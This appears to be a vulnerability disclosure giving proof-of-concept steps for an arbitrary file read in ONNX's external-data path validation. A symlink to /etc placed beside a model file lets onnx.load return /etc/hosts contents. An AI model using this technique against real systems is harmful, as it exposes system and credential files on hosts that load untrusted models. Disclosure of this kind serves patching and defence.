Arbitrary file read via intermediate symlink directory traversal bypassing external data path validation in ONNX (checker.cc:1016).
1# Step 1: Run the PoC script (creates model + symlink)
2python3 poc_onnx_symlink_traversal.py /tmp/onnx_poc
3
4# Step 2: Or manually reproduce:
5mkdir /tmp/onnx_poc
6cp model.onnx /tmp/onnx_poc/
7ln -s /etc /tmp/onnx_poc/data
8
9# Step 3: Trigger arbitrary file read
10python3 -c "
11import onnx
12model = onnx.load('/tmp/onnx_poc/model.onnx')
13print('Read from /etc/hosts:', model.graph.initializer[0].raw_data)
14"